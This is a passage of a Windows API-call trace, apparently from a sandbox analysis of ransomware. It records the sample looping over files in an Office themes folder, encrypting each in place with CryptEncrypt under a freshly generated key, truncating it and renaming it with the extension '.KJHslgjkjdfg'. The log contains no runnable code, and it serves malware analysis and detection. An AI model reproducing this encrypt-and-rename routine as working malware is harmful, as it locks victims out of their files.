[0172.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.431] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xd, lpOverlapped=0x0) returned 1 [0172.434] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.434] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.434] GetProcessHeap () returned 0x2ef0000 [0172.434] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.434] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.434] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.434] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.434] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.434] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.434] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.434] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.435] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.435] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.435] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd613, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xd613, lpOverlapped=0x0) returned 1 [0172.437] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd620, dwBufLen=0xd620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xd620) returned 1 [0172.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.437] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd620, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xd620, lpOverlapped=0x0) returned 1 [0172.438] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.438] SetEndOfFile (hFile=0x114) returned 1 [0172.441] GetProcessHeap () returned 0x2ef0000 [0172.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.441] GetProcessHeap () returned 0x2ef0000 [0172.441] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.kjhslgjkjdfg")) returned 1 [0172.442] CloseHandle (hObject=0x114) returned 1 [0172.443] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0172.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.443] GetProcessHeap () returned 0x2ef0000 [0172.443] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.443] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.443] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xa, lpOverlapped=0x0) returned 1 [0172.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.445] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.445] GetProcessHeap () returned 0x2ef0000 [0172.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.445] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.445] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.445] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.446] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.446] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.446] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.446] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.446] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.446] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.446] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1e6, lpOverlapped=0x0) returned 1 [0172.447] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1f0) returned 1 [0172.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.447] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1f0, lpOverlapped=0x0) returned 1 [0172.447] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.447] SetEndOfFile (hFile=0x114) returned 1 [0172.450] GetProcessHeap () returned 0x2ef0000 [0172.450] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.450] GetProcessHeap () returned 0x2ef0000 [0172.450] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.kjhslgjkjdfg")) returned 1 [0172.463] CloseHandle (hObject=0x114) returned 1 [0172.464] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.465] GetProcessHeap () returned 0x2ef0000 [0172.465] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.465] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.465] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.465] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0172.468] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.468] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.468] GetProcessHeap () returned 0x2ef0000 [0172.468] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.468] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.469] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.469] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.469] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.469] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.469] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x50d, lpOverlapped=0x0) returned 1 [0172.469] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x510, dwBufLen=0x510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x510) returned 1 [0172.469] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.470] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x510, lpOverlapped=0x0) returned 1 [0172.470] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.470] SetEndOfFile (hFile=0x114) returned 1 [0172.472] GetProcessHeap () returned 0x2ef0000 [0172.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.472] GetProcessHeap () returned 0x2ef0000 [0172.472] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.479] CloseHandle (hObject=0x114) returned 1 [0172.479] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.480] GetProcessHeap () returned 0x2ef0000 [0172.480] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.480] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.480] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0172.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.486] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.486] GetProcessHeap () returned 0x2ef0000 [0172.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.486] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.486] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.486] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.486] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.486] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.486] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.486] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.487] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.487] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.487] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x505f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x505f, lpOverlapped=0x0) returned 1 [0172.488] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5060, dwBufLen=0x5060 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5060) returned 1 [0172.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.488] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x5060, lpOverlapped=0x0) returned 1 [0172.488] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.488] SetEndOfFile (hFile=0x114) returned 1 [0172.491] GetProcessHeap () returned 0x2ef0000 [0172.491] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.491] GetProcessHeap () returned 0x2ef0000 [0172.491] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.491] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.495] CloseHandle (hObject=0x114) returned 1 [0172.495] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.495] GetProcessHeap () returned 0x2ef0000 [0172.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.495] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.495] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.495] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.495] GetProcessHeap () returned 0x2ef0000 [0172.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.495] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.496] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.496] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.496] GetProcessHeap () returned 0x2ef0000 [0172.496] RtlAllocateHeap 